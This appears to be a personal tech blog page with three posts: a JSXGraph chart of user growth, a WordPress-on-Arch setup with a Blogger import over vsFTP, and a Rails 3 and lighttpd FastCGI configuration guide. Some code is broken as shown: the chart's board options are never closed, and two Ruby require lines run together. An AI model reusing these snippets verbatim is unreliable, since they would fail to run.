var brd = JXG.JSXGraph.initBoard('box',
{boundingbox: [-50, 900, 3000, -150],
keepaspectratio:true,
axis:true,
grid:0,

brd.suspendUpdate();

//Points for graph
var p = [];
p[0] = brd.create('point', [0,0], {style:6,name:""});
p[1] = brd.create('point', [1665,100], {style:6,name:"100"});
p[2] = brd.create('point', [1890,200], {style:6,name:"200"});
p[3] = brd.create('point', [2050,300], {style:6,name:"300"});
p[4] = brd.create('point', [2193,400], {style:6,name:"400"});
p[5] = brd.create('point', [2359,500], {style:6,name:"500"});
p[6] = brd.create('point', [2527,600], {style:6,name:"600"});
p[7] = brd.create('point', [2672,700], {style:6,name:"700"});
p[8] = brd.create('point', [2787,800], {style:6,name:"800"});

//Line
var graph = brd.create('curve',
brd.neville(p),
{strokeColor:'red',
strokeWidth:5,
strokeOpacity:0.5});

//Labels
xtxt = brd.create('text',[1400,-110, 'Days Online'], {fontSize:12});
ytxt = brd.create('text',[10,850, 'Millions of users'], {fontSize:12});

brd.unsuspendUpdate();

Here’s the code:

<jsxgraph width="600" height="200" box="box">
var brd = JXG.JSXGraph.initBoard('box',
{boundingbox: [-50, 900, 3000, -150],
keepaspectratio:true,
axis:true,
grid:0,

brd.suspendUpdate();

//Points for graph
var p = [];
p[0] = brd.create('point', [0,0], {style:6,name:""});
p[1] = brd.create('point', [1665,100], {style:6,name:"100"});
p[2] = brd.create('point', [1890,200], {style:6,name:"200"});
p[3] = brd.create('point', [2050,300], {style:6,name:"300"});
p[4] = brd.create('point', [2193,400], {style:6,name:"400"});
p[5] = brd.create('point', [2359,500], {style:6,name:"500"});
p[6] = brd.create('point', [2527,600], {style:6,name:"600"});
p[7] = brd.create('point', [2672,700], {style:6,name:"700"});
p[8] = brd.create('point', [2787,800], {style:6,name:"800"});

//Line
var graph = brd.create('curve',
brd.neville(p),
{strokeColor:'red',
strokeWidth:5,
strokeOpacity:0.5});

//Labels
xtxt = brd.create('text',[1400,-110, 'Days Online'], {fontSize:12});
ytxt = brd.create('text',[10,850, 'Millions of users'], {fontSize:12});

brd.unsuspendUpdate();
</jsxgraph>

# Installing WP on arch, and migrating from blogger

So I’ve migrated my blog from blogger to wordpress, with the advent of google+ this could have been a premature move, but wordpress is just *nicer*.

1. From Google’s servers to my own
2. Want to have support for multiple wordpresses
3. WordPress gets things via FTP (eurgh)

So, point 1 and 2.

I made a directory in /srv for the numerous wordpresses, and then created a mysql database ready for the blogs (WP lets you have multiple blogs on the same database, by having different prefixes). Due to wanting to have multiple users and having the FTP features, I decided that this prefix would define the internal blog name. So for example, lets make a blog with the prefix ex.

1. create the directory exwordpress
2. make sure the directory is owned by the http
3. set permissions to 775, via sudo chmod -R 775 .
4. grab the wordpress tarball and extract
5. configure any traffic for your blog domain to go to /srv/[wordpress directory]/exwordpress/

Now, I wanted to import my blogger content, so on the dashboard, tools, import, blogger … ahh I need to install a plug-in. Oh, it needs ftp access to my server …

On to point 3

I used vsFTP, which required some fiddling with PAM. There is a sample config on the wiki page which works out of the box. If you want to test just ftp to your server using your virtual user credentials and try and create a temporary directory. If you can, job done.

So, I finally get the blogger content imported, which is fine, but for a few minor issues.

• Every title, and the content, is preceded by a single “>”
• Hey, if it is open source, I’ll see if I can find a fix …
• tags are converted to categories
• Which isn’t that much of an issue with the tag<->category converter

So, conversion done, just a pity that the only way to fix the conversion bug was to manually edit my posts.

# Rails 3 and lighttpd

This was performed on Archlinux with lighttpd 1.4.28 and rails 3.0.3

## Prerequisites

Required packages:

• lighttpd,
• fcgi,
• ruby,
• and their dependencies…

## Ruby Setup

Required gems:

• fcgi,
• bundler

(if you are behind a proxy, the magic gem command is :

# gem install GEM -r -p "http://[PROXY_URL]:[PROXY_PORT]"

)

Once you have that you need to create a “dispatch.fcgi” script to do all the rails magic. I found an example one at http://stackoverflow.com/questions/3296206/rails-3-and-fcgi .

#!/usr/bin/ruby

require 'rubygems'require 'fcgi'

require_relative '../config/environment'

class Rack::PathInfoRewriter

def initialize(app)
@app = app
end

def call(env)
env.delete('SCRIPT_NAME')
parts = env['REQUEST_URI'].split('?')
env['PATH_INFO'] = parts[0]
env['QUERY_STRING'] = parts[1].to_s
@app.call(env)
end
end

Rack::Handler::FastCGI.run  Rack::PathInfoRewriter.new(YOUR_APP_NAME::Application)

Running a “bundle install” from your app root will make sure all the necessary gems are available for local use. Follow these instructions and run “ruby public/dispatch.fcgi”, if you get no errors, voila!

## Lighttpd Setup

Now, to set up lighttpd you need to merge this with your config:

server.modules   += ( "mod_fastcgi", "mod_rewrite" )

\$HTTP["host"] == "localhost" {

server.document-root       =   "/path/to/your/app/public/"

server.dir-listing         =   "disable"
server.error-handler-404   =   "/dispatch.fcgi"

fastcgi.server             =   (
".fcgi" => (
"localhost" => (
"min-procs" => 1,
"max-procs" => 1,
"socket" => "/tmp/ruby-beholder.socket",
"bin-path" => "/path/to/your/app/public/dispatch.fcgi",
"bin-environment" => ( "RAILS_ENV" => "development" )
)
)
)
}

A quick “sudo /etc/rc.d/lighttpd restart” and a check of the error logs will tell you if it has worked